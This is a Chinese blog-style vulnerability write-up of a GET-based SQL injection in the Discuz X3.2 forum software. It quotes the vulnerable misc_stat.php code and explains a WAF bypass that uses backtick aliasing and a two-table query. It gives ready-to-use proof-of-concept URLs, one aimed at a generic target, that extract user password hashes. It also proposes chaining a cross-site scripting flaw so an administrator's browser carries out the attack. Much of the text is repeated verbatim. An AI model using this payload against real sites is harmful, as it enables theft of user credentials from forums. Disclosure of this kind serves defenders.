Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)
2015-08-10 20:13
597 查看
前台非盲注,只需要配合一个xss,就能消除鸡肋了。
信pandas,得永生,紧抱doggy哥大腿!
因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。
现在遇到另一个问题,怎么绕过discuz3.2的WAF?
不绕过也没法出数据。
我们先看看输出点在何处:http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=x
也就是说我们可以控制的部分有很多。
且不看全局防注入源码,黑盒试一下我发现一旦出现'、(就会拦截,而且注释符(#、--)也会拦截。
括号不能有,就特别拙计,因为很多盲注需要括号,子查询也需要括号,函数也需要括号,这里都不能用了。
执行会提示Unknown column 'daytime' in 'field list'。
所以,我们可以利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来:
大家可以看到,已经不报错了。因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。
那么,有的同学再问,sql语句后半部分
` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime
没有注释符怎么处理?
这里有个巧合,在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。
所以,先构造一个url:http://localhost/bbs/misc.php?mod=stat&op=trend&
xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as
可以看到已经出数据了。但发现出来的数据只有4位。
原因是,在源码中使用了substr取了daytime的第4到8位:$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
我们看下有没其他的输出点。于是找到了一个:
那么,最后的poc就是:http://localhost/bbs/misc.php?mod=stat&op=trend&
xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
本地测试效果:
这个漏洞鸡肋之处在于,虽然它是一个前台的注入(无需登录后台),但是却需要管理员权限。
所以,利用方法就是找到一个前台xss,管理员(前台管理)访问以后用javascript获得访问到的页面内容,即可获得注入出的信息。使鸡肋漏洞变得不再鸡肋。
或者利用某些浏览器的跨域漏洞,也能注入。
http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
信pandas,得永生,紧抱doggy哥大腿!
/source/include/misc/misc_stat.php 46行:
if(!empty($_GET['xml'])) { $xaxis = ''; $graph = array(); $count = 1; $begin = dgmdate($beginunixstr, 'Ymd'); $end = dgmdate($endunixstr, 'Ymd'); $field = '*'; if(!empty($_GET['merge'])) { if(empty($_GET['types'])) { $_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']); } $field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic'; $type = 'statistic'; } foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) { $xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>"; if($type == 'all') { foreach ($cols as $ck => $cvs) { if($ck == 'login') { $graph['login'] .= "<value xid='$count'>$value[login]</value>"; $graph['register'] .= "<value xid='$count'>$value[register]</value>"; } else { $num = 0; foreach ($cvs as $cvk) { $num = $value[$cvk] + $num; } $graph[$ck] .= "<value xid='$count'>".$num."</value>"; } } } else { //var_dump($value);exit; if(empty($_GET['types']) || !empty($_GET['merge'])) { $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>"; } else { foreach($_GET['types'] as $t) { $graph[$t] .= "<value xid='$count'>".$value[$t]."</value>"; } } } $count++; } $xml = ''; $xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>"; $xml .= '<chart><xaxis>'; $xml .= $xaxis; $xml .= "</xaxis><graphs>"; $count = 0; foreach ($graph as $key => $value) { $xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>"; $xml .= $value; $xml .= '</graph>'; $count++; } $xml .= '</graphs></chart>'; @header("Expires: -1"); @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); @header("Content-type: application/xml; charset=utf-8"); echo $xml; exit(); }见这一句:$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';将$_GET['type']数组直接用`+`分割,并没有过滤。
因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。
现在遇到另一个问题,怎么绕过discuz3.2的WAF?
不绕过也没法出数据。
我们先看看输出点在何处:http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=x
也就是说我们可以控制的部分有很多。
且不看全局防注入源码,黑盒试一下我发现一旦出现'、(就会拦截,而且注释符(#、--)也会拦截。
括号不能有,就特别拙计,因为很多盲注需要括号,子查询也需要括号,函数也需要括号,这里都不能用了。
SELECT daytime,`aaa` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime我们再看上述sql语句,发现我们可控的部分前面,还有个daytime。这就愁坏我了,因为我要查询的表是用户表,而用户表根本没这个字段。
执行会提示Unknown column 'daytime' in 'field list'。
所以,我们可以利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来:
大家可以看到,已经不报错了。因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。
那么,有的同学再问,sql语句后半部分
` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime
没有注释符怎么处理?
这里有个巧合,在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。
所以,先构造一个url:http://localhost/bbs/misc.php?mod=stat&op=trend&
xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as
可以看到已经出数据了。但发现出来的数据只有4位。
原因是,在源码中使用了substr取了daytime的第4到8位:$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
我们看下有没其他的输出点。于是找到了一个:
if(empty($_GET['types']) || !empty($_GET['merge'])) { $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>"; }这个if语句,其中$type为statistic,而将$value[$type]的值输出了。所以,我只需将password取个别名叫statistic,就能输出password了。
那么,最后的poc就是:http://localhost/bbs/misc.php?mod=stat&op=trend&
xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
本地测试效果:
这个漏洞鸡肋之处在于,虽然它是一个前台的注入(无需登录后台),但是却需要管理员权限。
所以,利用方法就是找到一个前台xss,管理员(前台管理)访问以后用javascript获得访问到的页面内容,即可获得注入出的信息。使鸡肋漏洞变得不再鸡肋。
或者利用某些浏览器的跨域漏洞,也能注入。
http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
修复方案:
过滤。相关文章推荐
- 註冊必須填性別&生日 For Discuz 6.0 更改方法
- discuz目录文件资料汇总
- 浅谈discuz密码加密的方式
- dedecms调用discuz论坛信息按照ID分类调用附详细说明
- 关于DISCUZ不用通行证登陆得内容介绍第1/2页
- DISCUZ在win2003环境下 Unable to access ./include/common.inc.php in... 的问题终极解决方案
- PHP 优化配置――加速你的VBB,phpwind,Discuz,IPB,MolyX第1/2页
- Discuz 6.0+ 批量注册用户名
- Discuz 5.0 中读取纯真IP数据库函数分析
- javascript Discuz代码中的msn聊天小功能
- php discuz 主题表和回帖表的设计
- DISCUZ 论坛管理员密码忘记的解决方法
- Discuz 模板引擎的封装类代码
- Discuz 公告效果(自动换行,无间隙滚动)
- discuz 跨域整合的记录文件
- Discuz批量替换帖子内容的方法(使用SQL更新数据库)
- Discuz!下Memcache缓存实现方法
- 利用discuz实现PHP大文件上传应用实例代码
- 千万级记录的Discuz论坛导致MySQL CPU 100%的优化笔记
- Discuz 模板语句分析及知识技巧